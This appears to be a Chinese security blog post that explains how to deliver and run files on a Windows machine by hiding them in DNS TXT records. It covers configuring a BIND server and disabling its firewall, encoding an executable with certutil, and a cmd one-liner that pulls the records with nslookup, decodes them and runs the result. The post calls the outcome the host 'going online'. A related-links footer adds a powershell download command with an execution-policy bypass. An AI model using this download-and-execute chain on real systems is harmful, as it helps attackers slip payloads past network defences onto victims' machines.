windows远程下载的新方案
文章目录
- 1. 搭建dns服务器
- 2. 将要下载的文件转化格式
- 3. 将数据输入到dns服务器中
- 4. 下载文件并执行
- 5. 参考文章
因为udp包最大只有65535byte,所以:
只能传递66k以下的文件
只能传递66k以下的文件
只能传递66k以下的文件
1. 搭建dns服务器
yum -y update
yum -y install bind bind-chroot bind-utils
vim /etc/named.conf
并添加 forwarders { 8.8.8.8; };
,最终如下:
修改/etc/named.rfc1912.zones
文件
vim /etc/named.rfc1912.zones
我们直接复制一份 /var/named/ 目录下的 named.localhost ,使用 cp -a 会直接把对应的权限设置也一并 copy 给新文件 baidu.com.zone,然后编辑文件并添加数据。
cp -a /var/named/named.localhost /var/named/baidu.com.zone
vim /var/named/baidu.com.zone
然后启动dns服务并关闭防火墙:
systemctl start named
systemctl stop firewalld
然后再另一台主机上使用,192.168.171.141是刚才配置的dns服务器的ip:
nslookup -q=txt www.baidu.com 192.168.171.141
2. 将要下载的文件转化格式
首先将文件转化成二进制格式:
certutil -encode whoami.exe a.txt
用下面的脚本将生成的数据进行格式化,每一行前面加上"exec
,结尾加上"
#!/usr/bin/env python
# -*- coding:utf-8 -*-
# author:Shanfenglan
# datetime:2021/12/13 9:55 PM
# In god's hands.b = ''
with open("1.txt","r") as f:for i in f:i = "\"exec"+i.strip()+"\""+"\n"b+=iwith open("2.txt","w+") as f:f.write(b)
更改后格式如下:
3. 将数据输入到dns服务器中
将上面的数据输入到括号中:
然后重启named服务:
4. 下载文件并执行
在windows机器上执行下面的命令:
cmd /v:on /Q /c "set a= && set b= && for /f "tokens=*" %i in ('nslookup -qt^=TXT www.baidu.com 192.168.171.141 ^| findstr "exec"') do (set a=%i && echo !a:~5,-2!)" > ttt.txt && certutil -decode ttt.txt a.exe && cmd /c a.exe
成功上线。
5. 参考文章
https://mp.weixin.qq.com/s/pxKmEO3_ljWSW7WhNQbSzQ
windows远程下载的新方案相关推荐
- windows远程下载
文章目录 windows远程下载 windows远程下载 powershell -exec bypass -c (new-object System.Net.WebClient).downloadfi ...
- 巨控PLC远程下载调试最新方案
巨控PLC远程下载调试最新方案 巨控李工:13247333261 核心技术之一:巨控远程下载机制 巨控李工:13247333261 巨控科技搭建了业内先进的PLC远程实验室,购买了市面上几乎全部主流的 ...
- 四章: CentOS6.5 配置连接Windows远程桌面、创建新用户、禁用root在本地或远程使用ssh登录
1,配置连接Windows远程桌面 yum -y install freerdp xfreerdp -g 800x600 -u administrator 192.168.31.13 2,rz.sz ...
- windows远程连接linux-安装xfce界面,ubuntn添加新用户
参考:" 使用xrdp实现windows 远程桌面连接linux" http://blog.csdn.net/qq_33530388/article/details/64502 ...
- 如何用极路由新插件【搜狐视频】进行远程下载
本文播放器家园网小编给大家分享如何用极路由新插件[搜狐视频]进行远程下载,如果大家在使用搜狐视频过程当中遇到类似问题,欢迎阅读本文!此外,在搜狐视频视频播放器上观看更流畅,画质更清晰,拒绝卡慢钝,而且 ...
- windows下安装wget进行远程下载
windows下安装wget进行远程下载 学习记录: 1.下载wget安装包 https://jaist.dl.sourceforge.net/project/gnuwin32/wget ...
- Windows命令之bitsadmin.exe远程下载
下载: (1)bitsadmin.exe本身被Windows系统支持,无需下载. 执行如下命令可下载http://127.0.0.1:8080/Down/test.txt至C:\Users\hao\D ...
- Windows下一键搭建MBP系统,支持多种版本任意选择,免费永久使用,多系统使用新方案
Windows下一键搭建MBP系统,支持多种版本任意选择,免费永久使用,多系统使用新方案. 安装起来相当的简单,简单到只需要执行一行命令即可完成.使得游戏和开发可以兼顾,并且不用花费数万米的可以使用M ...
- Aria2远程下载方案部署(CentOS7+Aria+AriaNG+Nginx)
操作系统为Centos7 aria2安装 首先安装最新的epel源 yum install epel-release 然后安装aria2 yum install aria2 配置aira2 mkdir ...
最新文章
- Caffe中计算图像均值的实现(cifar10)
- 数据表迁移数据一致性验证
- css实现圆形钟表,js+css3圆形指针时钟代码
- multiple root tags怎么解决_手机ROOT后交管12123打不开怎么解决;EdXposed使用QX模块微X教程...
- 域与活动目录(下) windows server 2008
- 不同编程语言能耗不同?看这27种语言对比!
- MongoDB 查询 (转) 仅限于C++开发
- oracle 不等函数,Oracle 不常用函数
- windows删除文件c语言函数,c rename()函数是否删除文件?
- HDU1317 —— 最长路+判断正环
- 【MySQL从入门到精通】:了解SQL语言
- 好的软件测试的简历是什么样的?
- LaTex下载与安装教程(一切为了学术~)
- 一、26个字母的读音和发音
- 域控制器组策略:域用户加入域,默认加入本地管理员组
- 紧急!!!请尽快将Flash Player升级到9.0.124
- Apache Activemq-JMS了解+mq指定JDK
- u8应用服务器跟数据库分离部署_u8 数据库分离
- x3650m4服务器主板型号,【联想x3650 M4参数】联想x3650 M4系列服务器参数-ZOL中关村在线...
- ERROR o.s.d.redis.listener.RedisMessageListenerContainer
热门文章
- 灵魂有香气的女子李筱懿:为人处世要“沉住气”
- 88是python语言的整数类型_Python开发【第二篇】:Python基本数据类型
- 《2018年中国新零售“50强榜”》
- Ansible安装使用
- 【xtku】巧设路由器 自动拨号上网
- Python Crash Course读书笔记 - 第2章:Variables and Simple Data Types
- 实现doubly-linked list搞清楚了一个内存问题
- UEFI中PEI阶段Hob的描述
- 怎么看计算机配件型号,笔记本屏幕型号怎么看_笔记本电脑屏幕型号的查看步骤-win7之家...
- 制作一个USB可燃气体声光报警器